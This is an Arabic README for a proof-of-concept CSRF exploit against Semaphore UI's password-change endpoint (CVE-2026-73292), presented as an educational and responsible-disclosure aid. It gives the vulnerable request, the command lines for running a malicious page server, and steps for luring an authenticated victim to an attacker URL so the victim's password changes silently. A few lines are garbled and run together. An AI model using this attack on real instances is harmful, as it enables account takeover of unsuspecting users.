
استغلال لإثبات المفهوم لثغرة CVE-2026-73292: هجوم CSRF على نقطة نهاية تغيير كلمة المرور في Semaphore UI، يقدّم صفحة خبيثة تعيد تعيين كلمة مرور المستخدم المصادَق عليه بصمت.
لأغراض تعليمية ولإفصاح مسؤول فقط.
تم الإبلاغ عن هذه الثغرة في GHSA-8cj9-r88m-8945 وتؤثر على إصدارات semaphoreui الأقدم من 2.18.21.
لا تنفّذ نقطة نهاية تغيير كلمة المرور في Semaphore UI أي حماية من CSRF:
semaphore) دون فرض SameSiteيمكن لصفحة خبيثة تغيير كلمة مرور أي مستخدم مصادَق يزورها بصمت.
نقطة النهاية المتأثرة: POST /api/users/{id}/password
{"password": "newpassword", "project_id": 1}
python poc_server.py -u http://TARGET:3000 -i USER_ID [-n NEW_PASSWORD] [-p PORT]
python poc_server.py -u http://192.168.1.10:3000 -i 1 -n pwn3d -p 1337
بعد ذلك أرسِل الضحية (المصادَق على Semaphore) إلى http://ATTACKER:1337؛ ستُغيَّر كلمة مروره فور تحميل الصفحة.
python poc.py -u http://TARGET:3000 -i 1
http://ATTACKER:1337/api/users/1/password يعيد HTTP 204SameSite=Strict على ملف تعريف ارتباط الجلسة| الوسيط | الوصف | الافتراضي |
|---|
-u / --uri | عنوان URL الأساسي لمثيل Semaphore | مطلوب |
-i / --user_id | معرف المستخدم المستهدف | مطلوب |
-n / --new_password | كلمة المرور التي سيتم تعيينها | passwordchanged |
-p / --port | المنفذ لخدمة الصفحة الخبيثة | 1337 |